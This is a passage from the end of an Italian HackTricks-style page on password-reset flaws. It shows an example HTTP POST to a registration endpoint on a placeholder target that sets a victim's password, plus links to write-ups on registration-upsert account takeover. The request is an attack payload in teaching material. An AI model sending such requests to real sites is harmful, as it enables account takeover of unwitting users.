POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user